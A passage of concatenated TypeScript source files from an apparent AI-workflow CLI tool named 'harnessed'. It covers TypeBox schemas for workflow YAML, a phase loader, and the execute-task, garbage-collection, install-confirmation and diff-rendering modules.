Type.Union([\n Type.Literal('haiku'),\n Type.Literal('sonnet'),\n Type.Literal('opus'),\n Type.Literal('inherit'), // B-10 override 逃生口\n])\n\nexport const PhaseEntry = Type.Object(\n {\n id: Type.String({ minLength: 1 }), // e.g. '01-clarify'\n name: Type.String({ minLength: 1 }),\n upstream: Type.String({ minLength: 1 }), // e.g. 'superpowers brainstorming'\n model: ModelTier, // 必填 (B-08)\n skills: Type.Optional(Type.Array(Type.String())),\n max_iterations: Type.Optional(Type.Integer({ minimum: 1, maximum: 100 })),\n // Phase 3.2 W1 T1.7 — JINJA-templated invokes string (D-02, W-02 orchestrator fix unconditional extend).\n invokes: Type.Optional(Type.String()),\n },\n { additionalProperties: false },\n)\n\nexport const PhasesSchema = Type.Object(\n {\n workflow: Type.String({ minLength: 1 }), // e.g. 'execute-task'\n phases: Type.Array(PhaseEntry, { minItems: 1 }),\n // Phase 3.2 W1 T1.7 — CEO veto halt directive (D-04 PUSH, W-02 orchestrator fix unconditional extend).\n on_veto: Type.Optional(Type.String({ pattern: '^halt_workflow$' })),\n },\n { additionalProperties: false },\n)\n\nexport type ModelTierType = Static<typeof ModelTier>\nexport type PhaseEntryType = Static<typeof PhaseEntry>\nexport type PhasesSchemaType = Static<typeof PhasesSchema>\n","// src/workflow/schema/workflow.ts — Phase v3.0-3.3 W0 T3.3.W0.5 (R30.9 + D-09 + D-05 + D-01).\n// TypeBox schema for harnessed.workflow.v3 — covers 20 workflow yaml v3 surfaces\n// (4 master orchestrator + 14 sub-stage + 2 standalone per D-07) per\n// D-04 + D-09 + D-05 + D-01 NEW + Pattern A A.1 reconcile (strict Literal Union).\n//\n// v2 → v3 字段 delta (sister Phase v2.0-2.4 W0 T2.4.W0.1 SHIPPED v2 86L):\n// BUMP `schema_version: 'harnessed.workflow.v3'` (17th surface in schemaVersion.ts)\n// ADD `disciplines_applied` — strict Literal Union of 6 basename (D-09 + Pattern A A.1)\n// ADD `tools_available` — string[] capabilities.yaml entry name (D-05)\n// ADD `delegates_to` — DelegationClause[] master orchestrator only (D-01 NEW)\n// ADD phase.`invokes_tools` — InvokeToolClause[] conditional fire (D-05)\n// CHANGE `phases` to Optional — master has delegates_to only, sub/standalone has phases\n//\n// Runtime invariant (NOT schema): every parsed yaml must have phases[] OR delegates_to[]\n// (engine asserts in `runWorkflow`); BOTH absent → fail-fast.\n//\n// IMPL NOTE: workflow engine pre-resolves `gate` / `parallelism` 4-level ref via\n// T2.3.W0.4 judgmentResolver BEFORE expr-eval evaluation.\n// additionalProperties:false strict per Phase 2.2 STRIDE T-2.2-02 mitigation.\n// Pattern A A.1 strict Literal Union LOCKED — typo basename ('karpatHy' etc) fails fast.\n\nimport { type Static, Type } from '@sinclair/typebox'\nimport { SCHEMA_VERSIONS } from '../../types/schemaVersion.js'\n\nconst ModelTier = Type.Union([Type.Literal('haiku'), Type.Literal('sonnet'), Type.Literal('opus')])\n\nconst OnAction = Type.Union([Type.Literal('skip'), Type.Literal('invoke')])\n\n// Pattern A A.1 LOCK — strict Literal Union of 6 discipline basename (D-09).\n// Typo ('karpatHy' / 'output_style') fails Value.Check fast; sister 6 yaml file basename verbatim.\nexport const DisciplineName = Type.Union([\n Type.Literal('karpathy'),\n Type.Literal('output-style'),\n Type.Literal('language'),\n Type.Literal('operational'),\n Type.Literal('priority'),\n Type.Literal('protocols'),\n])\n\nexport const OnClause = Type.Object(\n {\n if: Type.String(), // expr-eval expression OR judgments.<file>.<gate>.fires ref\n invoke: Type.Optional(Type.String()), // '{{ capabilities.<name>.cmd }}' OR literal\n action: Type.Optional(OnAction),\n },\n { additionalProperties: false },\n)\n\n// D-05 NEW — phase-level conditional tool fire (sister OnClause 'if?' + 主语段 style).\nexport const InvokeToolClause = Type.Object(\n {\n if: Type.Optional(Type.String()), // optional — 无 if = unconditional fire\n tool: Type.String({ minLength: 1 }), // capabilities.yaml entry name (cross-validate T3.3.W0.10)\n },\n { additionalProperties: false },\n)\n\n// D-01 NEW — master orchestrator declarative delegation (replaces phase-level invokes for master).\nexport const DelegationClause = Type.Object(\n {\n sub: Type.String({ minLength: 1 }), // sub-stage workflow name e.g. 'strategic' / 'phase' / 'subtask'\n gate: Type.Optional(Type.String()), // judgments.<file>.<trigger>.fires 4-level ref\n mode: Type.Optional(Type.Union([Type.Literal('parallel'), Type.Literal('serial')])),\n order: Type.Optional(Type.Number()), // serial-only: explicit ordering (K9 mitigation enforced in check-workflow-schema)\n },\n { additionalProperties: false },\n)\n\nexport const FallbackMaxIterationsExceeded = Type.Object(\n {\n action: Type.Literal('emit_warning_and_halt'), // R20.10 acceptance c \"explicit NOT silent\"\n message: Type.String(),\n exit_code: Type.Number(),\n },\n { additionalProperties: false },\n)\n\nexport const PhaseFallback = Type.Object(\n {\n max_iterations_exceeded: Type.Optional(FallbackMaxIterationsExceeded),\n },\n { additionalProperties: false },\n)\n\nexport const WorkflowPhaseV3 = Type.Object(\n {\n id: Type.String({ minLength: 1 }),\n name: Type.Optional(Type.String()),\n upstream: Type.Optional(Type.String()),\n capability: Type.Optional(Type.String()), // '{{ capabilities.ralph-loop.cmd }}'\n model: Type.Optional(ModelTier),\n invokes: Type.Optional(Type.String()), // legacy slash-cmd OR JINJA template\n args: Type.Optional(Type.Record(Type.String(), Type.Unknown())),\n gate: Type.Optional(Type.String()), // judgments.<file>.<gate>.fires 4-level ref\n on: Type.Optional(Type.Array(OnClause)),\n parallelism: Type.Optional(Type.String()), // judgments.parallelism-gate.<route>.fires\n fallback: Type.Optional(PhaseFallback),\n max_iterations: Type.Optional(\n Type.Union([Type.Number(), Type.String()]), // numeric literal OR jinja '{{ defaults.x.y }}'\n ),\n artifacts_expected: Type.Optional(Type.Array(Type.String())),\n invokes_tools: Type.Optional(Type.Array(InvokeToolClause)), // NEW v3 D-05 phase-level conditional fire\n },\n { additionalProperties: false },\n)\n\nexport const WorkflowSchemaV3 = Type.Object(\n {\n schema_version: Type.Literal(SCHEMA_VERSIONS.workflow_v3),\n workflow: Type.String({ minLength: 1 }),\n description: Type.Optional(Type.String()),\n disciplines_applied: Type.Optional(Type.Array(DisciplineName)), // NEW v3 D-09 (Pattern A A.1 strict Literal Union)\n tools_available: Type.Optional(Type.Array(Type.String())), // NEW v3 D-05 (cross-validate T3.3.W0.10)\n delegates_to: Type.Optional(Type.Array(DelegationClause)), // NEW v3 D-01 (master orchestrator only)\n phases: Type.Optional(Type.Array(WorkflowPhaseV3, { minItems: 1 })), // 改 Optional — master 无 phases, sub/standalone 必有\n },\n { additionalProperties: false },\n)\n\nexport type WorkflowPhaseV3T = Static<typeof WorkflowPhaseV3>\nexport type WorkflowSchemaV3T = Static<typeof WorkflowSchemaV3>\nexport type DelegationClauseT = Static<typeof DelegationClause>\nexport type InvokeToolClauseT = Static<typeof InvokeToolClause>\nexport type DisciplineNameT = Static<typeof DisciplineName>\nexport type FallbackMaxIterationsExceededT = Static<typeof FallbackMaxIterationsExceeded>\nexport type PhaseFallbackT = Static<typeof PhaseFallback>\nexport type OnClauseT = Static<typeof OnClause>\n\n// v2 backward-compat re-export — sister run.ts + checker still reads v2 yaml during transition.\n// Phase v2.0-2.4 W0 T2.4.W0.1 SHIPPED — KEEP for Phase v3.0-3.3 setup-helpers v2 deprecation period.\n// CHANGELOG: drop v2 alias post v3.0 GA + setup-helpers nested scan + v2 yaml removed.\nexport {\n type PhaseShape,\n WorkflowPhaseV2,\n type WorkflowPhaseV2T,\n WorkflowSchemaV2,\n type WorkflowSchemaV2T,\n} from './workflow.v2.js'\n","// src/workflow/schema/workflow.v2.ts — Phase v2.0-2.4 W0 T2.4.W0.1 SHIPPED schema.\n// SPLIT from workflow.ts during Phase v3.0-3.3 W0 T3.3.W0.5 (v3 schema bump) to\n// preserve karpathy ≤200L hard limit + maintain v2 yaml backward-compat during\n// setup-helpers v2 deprecation period (T3.3.W0.12).\n//\n// Removal target: Phase v3.0 GA + 1 minor cycle (sister CHANGELOG alias map period).\n\nimport { type Static, Type } from '@sinclair/typebox'\nimport { SCHEMA_VERSIONS } from '../../types/schemaVersion.js'\n\nconst ModelTier = Type.Union([Type.Literal('haiku'), Type.Literal('sonnet'), Type.Literal('opus')])\n\nconst OnAction = Type.Union([Type.Literal('skip'), Type.Literal('invoke')])\n\nexport const OnClauseV2 = Type.Object(\n {\n if: Type.String(),\n invoke: Type.Optional(Type.String()),\n action: Type.Optional(OnAction),\n },\n { additionalProperties: false },\n)\n\nexport const FallbackMaxIterationsExceededV2 = Type.Object(\n {\n action: Type.Literal('emit_warning_and_halt'),\n message: Type.String(),\n exit_code: Type.Number(),\n },\n { additionalProperties: false },\n)\n\nexport const PhaseFallbackV2 = Type.Object(\n {\n max_iterations_exceeded: Type.Optional(FallbackMaxIterationsExceededV2),\n },\n { additionalProperties: false },\n)\n\nexport const WorkflowPhaseV2 = Type.Object(\n {\n id: Type.String({ minLength: 1 }),\n name: Type.Optional(Type.String()),\n upstream: Type.Optional(Type.String()),\n capability: Type.Optional(Type.String()),\n model: Type.Optional(ModelTier),\n invokes: Type.Optional(Type.String()),\n args: Type.Optional(Type.Record(Type.String(), Type.Unknown())),\n gate: Type.Optional(Type.String()),\n on: Type.Optional(Type.Array(OnClauseV2)),\n parallelism: Type.Optional(Type.String()),\n fallback: Type.Optional(PhaseFallbackV2),\n max_iterations: Type.Optional(Type.Union([Type.Number(), Type.String()])),\n artifacts_expected: Type.Optional(Type.Array(Type.String())),\n },\n { additionalProperties: false },\n)\n\nexport const WorkflowSchemaV2 = Type.Object(\n {\n schema_version: Type.Literal(SCHEMA_VERSIONS.workflow),\n workflow: Type.String({ minLength: 1 }),\n description: Type.Optional(Type.String()),\n phases: Type.Array(WorkflowPhaseV2, { minItems: 1 }),\n },\n { additionalProperties: false },\n)\n\nexport type WorkflowPhaseV2T = Static<typeof WorkflowPhaseV2>\nexport type WorkflowSchemaV2T = Static<typeof WorkflowSchemaV2>\n/** Alias of `WorkflowPhaseV2T` — sister deferred-items.md T2.4.W1.5 path-A naming. */\nexport type PhaseShape = WorkflowPhaseV2T\n","// loadPhases — parse + validate `phases.yaml` against PhasesSchema (T3.1) OR\n// WorkflowSchemaV2 (T2.4.W1.1 Option A++ dispatch by `schema_version`).\n//\n// ADR 0011 errata — per-phase model tier (phase 2.2 W3 — T3.2).\n// Sister to `src/manifest/validate.ts`(Ajv) — here we use TypeBox `Value.Check` +\n// `Value.Errors` directly (simpler than Ajv compile path; phases.yaml schema is\n// tiny ~50L and not on hot path — no perf gate needed).\n//\n// Pattern lifted from PATTERNS § 5 D-WP-1 \"Truly NEW patterns\" row.\n//\n// Phase 3.2 W2 T2.1 — sig extend `vars?: Record<string, string>`; if provided,\n// interpolate {{ var }} placeholders in `invokes` field per phase (D-02 JINJA\n// LOCKED). Backward-compat: vars omitted → no interpolate (existing callers\n// unchanged; sister `workflows/execute-task/phases.yaml` has no invokes).\n//\n// Phase v2.0-2.4 W1.1 T2.4.W1.1 (Option A++ team-lead arbitration) — schema\n// dispatch on root `schema_version` field. v2 yaml validates against\n// WorkflowSchemaV2 and the v2 shape is returned unchanged (structural superset\n// of v1 — legacy v1 readers safely access the v1 subset; engine catch handler\n// reads `phase.fallback.max_iterations_exceeded.*` for R20.10 explicit halt).\n// Legacy yaml without `schema_version` falls back to PhasesSchema v1 path.\n\nimport { readFileSync } from 'node:fs'\nimport { Value, type ValueError } from '@sinclair/typebox/value'\nimport { parse as parseYaml } from 'yaml'\nimport { interpolate } from './interpolate.js'\nimport { PhasesSchema, type PhasesSchemaType } from './schema/phases.js'\nimport { WorkflowSchemaV2, type WorkflowSchemaV2T } from './schema/workflow.js'\n\nexport class PhasesValidationError extends Error {\n constructor(public errors: ValueError[]) {\n super(`phases.yaml validation failed (${errors.length} error${errors.length === 1 ? '' : 's'})`)\n this.name = 'PhasesValidationError'\n }\n}\n\nexport type LoadedPhases = PhasesSchemaType | WorkflowSchemaV2T\n\n/** Load + validate a phases.yaml file. Throws `PhasesValidationError` on schema\n * violation. If `vars` provided, interpolates {{ var }} in each phase's\n * `invokes` field (Phase 3.2 W2 T2.1 D-02 JINJA).\n *\n * T2.4.W1.1 v2 dispatch (Option A++): yaml with `schema_version:\n * harnessed.workflow.v2` validates against `WorkflowSchemaV2` and is returned\n * unchanged. Legacy v1 consumers read the v1 subset (workflow + phases[id,\n * name, upstream, model, max_iterations, invokes]) which the v2 shape\n * structurally contains; engine catch handler reads `phase.fallback`. */\nexport function loadPhases(yamlPath: string, vars?: Record<string, string>): LoadedPhases {\n const raw = readFileSync(yamlPath, 'utf8')\n const parsed = parseYaml(raw) as { schema_version?: string } | null\n\n const isV2 = parsed?.schema_version === 'harnessed.workflow.v2'\n if (isV2) {\n if (!Value.Check(WorkflowSchemaV2, parsed)) {\n throw new PhasesValidationError([...Value.Errors(WorkflowSchemaV2, parsed)])\n }\n } else {\n if (!Value.Check(PhasesSchema, parsed)) {\n throw new PhasesValidationError([...Value.Errors(PhasesSchema, parsed)])\n }\n }\n const validated = parsed as LoadedPhases\n\n // Phase 3.2 W2 T2.1 — JINJA interpolate invokes field (D-02 LOCKED).\n // Backward-compat: vars omitted → no interpolate (existing callers unchanged).\n if (vars) {\n for (const ph of validated.phases) {\n if (ph.invokes) ph.invokes = interpolate(ph.invokes, vars)\n }\n }\n return validated\n}\n","// Phase 2.2 T5.1 — `harnessed execute-task --task <text>` independent subcommand.\n//\n// IMPL NOTE — B-10 + B-28 + PATTERNS § 2.1 (Register block).\n// Sister to src/cli/research.ts L16-92 — same H1 gate (sibling install-base.ts L51-56),\n// same 3-state EngineResult → exit code mapping (0 COMPLETE / 1 FAIL / 2 USAGE).\n// Loads execute-task workflow phases.yaml (T3.2 loadPhases) + drives engine.runRouting\n// (T4.2 sdkSpawn-backed). `--model-tier inherit` flag = B-10 escape hatch — overrides\n// per-phase phase.model with 'inherit' for SDK parent-resolve semantics (W3 ModelTier\n// 4th enum). Forward-looking subcommand surface; auto-invocation pushed Phase 2.3.\n//\n// Phase v3.0-3.5 W0 T3.5.W0.4 — before-commit hook wire (K5 Option A enforcement):\n// apply path pre-flight `runBeforeCommitHook` enforce biome auto-fix on TS/JS work\n// tree changes BEFORE ralph-loop subagent spawn。subagent SDK 内部 git commit 时\n// work tree 已 biome-clean。User 主 session git commit 不走此 path(clean separation\n// per K5 Option A;主 session 用户自负 biome-preempt 责任)。\n// dry-run path NOT triggered(K5 Option A 仅 真 spawn 路径 enforce)。\n//\n// v3.3.0 cleanup — `--apply` backward-compat alias removed (was no-op since v3.0.1)。\n\nimport { execSync } from 'node:child_process'\nimport type { Command } from 'commander'\nimport { runBeforeCommitHook } from '../discipline/enforcement/before-commit.js'\nimport { runRouting, type TaskContext } from '../routing/index.js'\nimport type { FallbackMaxIterationsExceededConfig } from '../routing/lib/fallbackHandlers.js'\nimport { type LoadedPhases, loadPhases } from '../workflow/loadPhases.js'\nimport { validateNonInteractiveFlags } from './lib/validateFlags.js'\n\ninterface RawOpts {\n task?: string\n dryRun?: boolean\n nonInteractive?: boolean\n model?: 'haiku' | 'sonnet' | 'opus'\n modelTier?: 'inherit'\n maxIterations?: number\n workflow?: string\n}\n\nexport function registerExecuteTask(program: Command): void {\n program\n .command('execute-task')\n .description(\n 'Run execute-task workflow (4-phase chain → ralph-loop COMPLETE; immediate by default — use --dry-run for preview)',\n )\n .requiredOption('--task <text>', 'task description (required)')\n .option('--workflow <name>', 'workflow name', 'execute-task')\n .option('--dry-run', 'preview only — do not spawn subagent (opt-in for advanced users)')\n .option('--non-interactive', 'CI / scripts')\n .option('--model <model>', \"subagent model: 'haiku' | 'sonnet' | 'opus'\")\n .option('--model-tier <tier>', \"override: 'inherit' bypasses per-phase phase.model (B-10)\")\n .option('--max-iterations <n>', 'ralph-loop max iter (default 20)', (v) => parseInt(v, 10))\n .action(async (raw: RawOpts) => {\n // H1 gate — sibling install-base.ts pattern\n validateNonInteractiveFlags(raw, 'execute-task --task <text>')\n if (!raw.task) {\n console.error('error: --task <text> is required')\n process.exit(2)\n }\n\n const workflowName = raw.workflow ?? 'execute-task'\n let phases: ReturnType<typeof loadPhases>\n try {\n phases = loadPhases(`workflows/${workflowName}/phases.yaml`)\n } catch (error) {\n console.error(\n `error: failed to load workflows/${workflowName}/phases.yaml — ${(error as Error).message}`,\n )\n process.exit(2)\n }\n\n // B-10 escape hatch — `--model-tier inherit` overrides all phase.model values.\n // T2.4.W1.1: loadPhases returns LoadedPhases union (v1 PhasesSchema OR v2\n // WorkflowSchemaV2T). Cast assembled override to LoadedPhases to preserve\n // v2-only fields (capability/gate/on/fallback) for downstream engine handler.\n if (raw.modelTier === 'inherit') {\n phases = {\n ...phases,\n phases: phases.phases.map((p) => ({ ...p, model: 'inherit' as const })),\n } as LoadedPhases\n }\n\n const taskCtx: TaskContext = { task: raw.task, task_type: 'execute-task' }\n // v3.0.1 UX flip — apply-immediate default + --dry-run opt-in。\n const isDryRun = raw.dryRun === true\n\n // Dry-run path — arbitrate-only preview (mirrors research.ts L52-72).\n if (isDryRun) {\n console.log(\n JSON.stringify({ workflow: phases.workflow, phases: phases.phases, taskCtx }, null, 2),\n )\n process.exit(0)\n }\n\n // T2.4.W1.5 — extract phase.fallback.max_iterations_exceeded from v2 phases.yaml\n // (sister `04-deliver` ralph-loop wrapper). Narrow v1 ∪ v2 LoadedPhases via\n // structural `'fallback' in p` check; engine.ts catch handler delegates to\n // handleMaxIterationsExceeded (R20.10 c explicit halt, NOT silent exit).\n let fallbackConfig: FallbackMaxIterationsExceededConfig | undefined\n let fallbackPhaseId: string | undefined\n for (const ph of phases.phases) {\n if ('fallback' in ph && ph.fallback?.max_iterations_exceeded) {\n fallbackConfig = ph.fallback.max_iterations_exceeded\n fallbackPhaseId = ph.id\n break\n }\n }\n\n // T3.5.W0.4 — before-commit hook K5 Option A enforcement (ralph-loop / subagent\n // auto-commit path ONLY)。apply path 在 runRouting subagent spawn 前 enforce\n // biome auto-fix:work tree TS/JS modified files → biome --write,subagent SDK\n // 内部 commit 时已 biome-clean。apply-immediate default 等同 user explicit approval = pass。\n // User 主 session 直接 git commit NOT 走此 path(K5 Option A clean separation)。\n try {\n const stagedOut = execSync('git status --porcelain', { encoding: 'utf8' })\n const changedFiles = stagedOut\n .split('\\n')\n .filter((l) => l.trim().length > 0)\n .map((l) => l.slice(3).trim())\n await runBeforeCommitHook({\n changedFiles,\n cmdArgs: [],\n packageRoot: process.cwd(),\n cmdType: 'git-commit',\n hasUserApproval: true, // apply-immediate default\n })\n } catch (err) {\n // Fail-soft per ADR 0029:git status / biome auto-fix throw → warn + 继续\n // (subagent 内部 commit 时还会有第二道 biome --write check via SDK Bash tool)。\n console.warn(\n `⚠️ before-commit pre-flight skipped (${(err as Error).message}); ` +\n 'subagent will biome-check at commit time.',\n )\n }\n\n // apply path — real spawn via engine.runRouting (T4.2 sdkSpawn).\n const result = await runRouting(taskCtx, {\n maxIterations: raw.maxIterations ?? 20,\n ...(raw.model ? { agentOpts: { modelOverride: raw.model } } : {}),\n ...(fallbackConfig ? { fallbackConfig } : {}),\n ...(fallbackPhaseId ? { fallbackPhaseId } : {}),\n })\n // T2.4.W1.5 — `aborted` branch reachable ONLY when `fallbackConfig` is\n // absent (legacy caller / unit test mock without v2 yaml fallback). With\n // wire-in: engine handleMaxIterationsExceeded calls process.exit(exit_code)\n // directly, so control never returns here for v2 execute-task workflow.\n if ('aborted' in result) {\n console.error(`aborted: ${result.reason}`)\n process.exit(2)\n }\n if ('ok' in result && result.ok === false) {\n console.error(`error: ${result.phase} — ${result.error.message}`)\n process.exit(1)\n }\n console.log(result.result)\n process.exit(0)\n })\n}\n","// Phase 1.2 cli subcommand `gc` per ADR 0004 § Consequences Negative #3 +\n// sister review M1 mitigation.\n//\n// IMPL NOTE (Rule 1 / ADR 0004 § Consequences Negative #3): backup snapshots\n// accumulate without bound; users will eventually fill disk. The M1 sister\n// review fix promotes `harnessed gc --older-than 30d` from \"phase 2.4\n// deferred\" to \"phase 1.2 ship\" because the failure mode is silent (users\n// only notice when df -h is red), and ADR 0004 § Consequences explicitly\n// names this as the chosen mitigation.\n//\n// IMPL NOTE (v3.0.1 UX flip — apply-immediate default + --dry-run opt-in):\n// gc follows the unified apply-immediate default convention (sister\n// install.ts pattern verbatim). Without flags → delete candidates。\n// `--dry-run` opt-in 列出 candidates 但不真删 (高级用户预览)。\n// v3.3.0 cleanup — `--apply` backward-compat alias removed (was no-op since v3.0.1)。\n// keepLast + olderThan filter 仍 protect 误删近期 snapshot (safety contract)。\n\nimport { readdir, readFile, rm, stat } from 'node:fs/promises'\nimport { join } from 'node:path'\nimport type { Command } from 'commander'\nimport { getBackupRoot } from '../installers/lib/backup.js'\n\ninterface BackupMetadata {\n installer: string\n manifest: string\n timestamp: string\n files: unknown[]\n}\n\ninterface GcOpts {\n olderThan?: string\n keepLast?: string\n dryRun?: boolean\n}\n\nconst DURATION_RE = /^(\\d+)([dhmw])$/\nfunction parseDuration(s: string): number | null {\n const m = DURATION_RE.exec(s)\n if (!m) return null\n const n = Number.parseInt(m[1] ?? '0', 10)\n const unit = m[2]\n const ms =\n unit === 'd' ? 86_400_000 : unit === 'h' ? 3_600_000 : unit === 'm' ? 60_000 : 604_800_000\n return n * ms\n}\n\nasync function dirSizeKb(dir: string): Promise<number> {\n let total = 0\n const stack: string[] = [dir]\n while (stack.length > 0) {\n const cur = stack.pop()\n if (!cur) break\n const entries = await readdir(cur, { withFileTypes: true })\n for (const e of entries) {\n const p = join(cur, e.name)\n if (e.isDirectory()) stack.push(p)\n else if (e.isFile()) {\n const st = await stat(p)\n total += st.size\n }\n }\n }\n return Math.round(total / 1024)\n}\n\nexport function registerGc(program: Command): void {\n program\n .command('gc')\n .description(\n 'Garbage-collect old backup snapshots (immediate by default — use --dry-run for preview)',\n )\n .option('--older-than <duration>', 'delete snapshots older than (e.g. 30d / 24h / 4w)', '30d')\n .option('--keep-last <N>', 'always keep the most recent N snapshots', '0')\n .option('--dry-run', 'preview only — do not delete (opt-in for advanced users)')\n .action(async (opts: GcOpts) => {\n // v3.0.1 UX flip — apply-immediate default + --dry-run opt-in。\n const dryRun = opts.dryRun === true\n const olderMs = parseDuration(opts.olderThan ?? '30d')\n if (olderMs == null) {\n console.error(\n `error: invalid --older-than '${opts.olderThan}'\\n` +\n ` fix: use format <N>{d|h|m|w} e.g. 30d / 24h / 60m / 4w`,\n )\n process.exit(1)\n return\n }\n const keepLast = Number.parseInt(opts.keepLast ?? '0', 10)\n const root = getBackupRoot()\n let dirs: string[]\n try {\n dirs = (await readdir(root, { withFileTypes: true }))\n .filter((e) => e.isDirectory())\n .map((e) => e.name)\n .sort()\n } catch {\n console.log(`no backups found (${root} absent) — nothing to gc`)\n return\n }\n const cutoff = Date.now() - olderMs\n // Reverse so most-recent come first; first `keepLast` are protected.\n const kept = new Set(dirs.slice(-keepLast))\n const candidates: Array<{ ts: string; path: string; manifest: string; sizeKb: number }> = []\n for (const ts of dirs) {\n if (kept.has(ts)) continue\n const path = join(root, ts)\n // Backup ID is ISO timestamp with `:` → `-`; reverse to parse.\n const iso = ts.replace(/T(\\d{2})-(\\d{2})-(\\d{2})/, 'T$1:$2:$3')\n const t = Date.parse(iso)\n if (Number.isNaN(t) || t > cutoff) continue\n let manifest = '(unknown)'\n try {\n const meta = JSON.parse(\n await readFile(join(path, 'metadata.json'), 'utf8'),\n ) as BackupMetadata\n manifest = meta.manifest\n } catch {\n // metadata missing — still gc by age\n }\n const sizeKb = await dirSizeKb(path)\n candidates.push({ ts, path, manifest, sizeKb })\n }\n if (candidates.length === 0) {\n console.log(`no snapshots older than ${opts.olderThan} (kept ${kept.size} most-recent)`)\n return\n }\n const totalKb = candidates.reduce((a, c) => a + c.sizeKb, 0)\n const verb = dryRun ? 'would delete' : 'deleting'\n console.log(`${verb} ${candidates.length} snapshot(s), ~${totalKb} KB total:`)\n for (const c of candidates) {\n console.log(` ${c.ts} ${c.manifest} (${c.sizeKb} KB)`)\n if (!dryRun) await rm(c.path, { recursive: true, force: true })\n }\n if (dryRun) console.log('\\n(dry-run — re-run without --dry-run to actually delete)')\n })\n}\n","// Phase 1.2 4-level confirm wrapper per ADR 0004 contract 4 + Pattern C + H.\n//\n// IMPL NOTE (Rule 1 / GA-2 § B.3): every Clack prompt call MUST be guarded\n// with `p.isCancel(ans)` immediately after await — otherwise Ctrl-C / ESC\n// silently returns a Symbol() value that flows downstream as a truthy\n// non-boolean and corrupts the install decision (terkelg/prompts has the\n// same footgun; Clack v0.10 inherited it but exposes isCancel guard).\n//\n// IMPL NOTE (ADR 0004 contract 4): four risk levels map to four prompt\n// shapes:\n// L1 (read-only / project-scope safe write) → just `note()` print, auto-yes\n// L2 (project-scope mutation, e.g. .mcp.json append) → single `confirm()`\n// L3 (user-scope mutation, e.g. ~/.claude.json) → confirm() × 2 — second\n// message MUST mention shared-state side effects on other plugins\n// L4 (system-wide / global npm install) → require explicit `--system`\n// flag at CLI; if missing, refuse without prompt + print educational\n// \"use --system to opt in\" hint (no L4 manifest may auto-apply)\n//\n// nonInteractive mode (CI / scripts): skip all prompts; honor ctx.opts.apply\n// for L1/L2/L3 (apply=true → proceed; apply=false → dry-run yields proceed:\n// true so caller computes plan but does not execute), while L4 still\n// requires --system (security flag, not a UX decision).\n\nimport * as p from '@clack/prompts'\nimport type { InstallContext, Level } from './types.js'\n\nexport type ConfirmReason = 'user-cancel' | 'flag-missing'\n\nexport interface ConfirmOutcome {\n proceed: boolean\n reason?: ConfirmReason\n}\n\nexport async function confirmAt(level: Level, ctx: InstallContext): Promise<ConfirmOutcome> {\n // L4 — system flag gate, runs first (must short-circuit before any prompt).\n if (level === 'L4' && !ctx.opts.system) {\n if (!ctx.opts.nonInteractive) {\n p.note(\n 'this method requires --system flag (e.g. global npm install affects machine PATH); pass --system to opt in.',\n 'L4 system-wide install',\n )\n }\n return { proceed: false, reason: 'flag-missing' }\n }\n\n // Non-interactive: skip prompts, decide from --apply.\n if (ctx.opts.nonInteractive) {\n return { proceed: ctx.opts.apply }\n }\n\n if (level === 'L1') {\n p.note('will write project-local files only (safe scope).', 'L1 confirm')\n return { proceed: true }\n }\n\n if (level === 'L2') {\n const ans = await p.confirm({ message: 'Proceed with install?', initialValue: false })\n if (p.isCancel(ans)) return { proceed: false, reason: 'user-cancel' }\n return { proceed: ans === true }\n }\n\n if (level === 'L3') {\n const first = await p.confirm({ message: 'Proceed with install?', initialValue: false })\n if (p.isCancel(first)) return { proceed: false, reason: 'user-cancel' }\n if (first !== true) return { proceed: false }\n\n const second = await p.confirm({\n message:\n 'This affects other plugins (e.g. ~/.claude.json is shared user-scope state). Confirm again?',\n initialValue: false,\n })\n if (p.isCancel(second)) return { proceed: false, reason: 'user-cancel' }\n return { proceed: second === true }\n }\n\n // L4 with --system flag → single high-stakes confirm.\n const ans = await p.confirm({\n message: 'System-wide install will modify global PATH. Proceed?',\n initialValue: false,\n })\n if (p.isCancel(ans)) return { proceed: false, reason: 'user-cancel' }\n return { proceed: ans === true }\n}\n","// Phase 1.2 unified-diff renderer per ADR 0004 contract 2 + Pattern B + H.\n//\n// IMPL NOTE (Rule 1 / ASSUMPTIONS C3): jsdiff createPatch() is invoked with\n// `stripTrailingCr: true` so a Windows manifest written with CRLF and a Unix\n// target file with LF (or vice versa) produces a *stable* diff — not a\n// 100%-noise \"every line changed\" diff. The trailing CR character (\\r) at\n// end-of-line is normalised away from both sides before line comparison.\n//\n// IMPL NOTE (Rule 1 / nodejs/node#39673 + GA-2 § B.1): we color via\n// picocolors.isColorSupported (NOT process.stdout.isTTY directly). On\n// Windows under Git-Bash, isTTY returns `undefined` instead of `true|false`,\n// which would silently disable color for a real interactive shell. picocolors\n// already combines isTTY ?? false || env.FORCE_COLOR / NO_COLOR / TERM=dumb\n// into one boolean — trust it.\n\nimport { createPatch } from 'diff'\nimport pc from 'picocolors'\nimport type { DiffFile, DiffPlan, InstallContext } from './types.js'\n\n// ADR 0004 § 2 — long diffs are folded by default to keep terminal scrollback\n// reasonable; user passes --full-diff to expand.\nconst FOLD_THRESHOLD = 200\nconst FOLD_HEAD = 100\n\nfunction colorize(line: string): string {\n if (!pc.isColorSupported) return line\n if (line.startsWith('+') && !line.startsWith('+++')) return pc.green(line)\n if (line.startsWith('-') && !line.startsWith('---')) return pc.red(line)\n if (line.startsWith('@@')) return pc.cyan(line)\n return line\n}\n\nfunction diffOneFile(file: DiffFile): { lines: string[]; added: number; removed: number } {\n const patch = createPatch(file.target, file.oldText, file.newText, '', '', {\n stripTrailingCr: true,\n })\n const lines = patch.split('\\n')\n let added = 0\n let removed = 0\n for (const ln of lines) {\n if (ln.startsWith('+') && !ln.startsWith('+++')) added++\n else if (ln.startsWith('-') && !ln.startsWith('---')) removed++\n }\n return { lines, added, removed }\n}\n\nexport function renderDiff(plan: DiffPlan, ctx: InstallContext): string {\n if (plan.files.length === 0) return '(no file changes)\\n'\n\n const out: string[] = []\n let totalAdded = 0\n let totalRemoved = 0\n\n for (const file of plan.files) {\n const { lines, added, removed } = diffOneFile(file)\n totalAdded += added\n totalRemoved += removed\n\n const folded = !ctx.opts.fullDiff && lines.length > FOLD_THRESHOLD\n const visible = folded ? lines.slice(0, FOLD_HEAD) : lines\n for (const ln of visible) out.push(colorize(ln))\n if (folded) {\n const more = lines.length - FOLD_HEAD\n out.push(pc.dim(`... ${more} more lines (use --full-diff to expand)`))\n }\n }\n\n // ADR 0004 § 2 summary line — appended at the bottom so user always sees it.\n const summary = `will modify ${plan.files.length} file${plan.files.length === 1 ? '' : 's'} (${totalAdded} added, ${totalRemoved} removed)`\n out.push('')\n out.push(pc.bold(summary))\n\n return 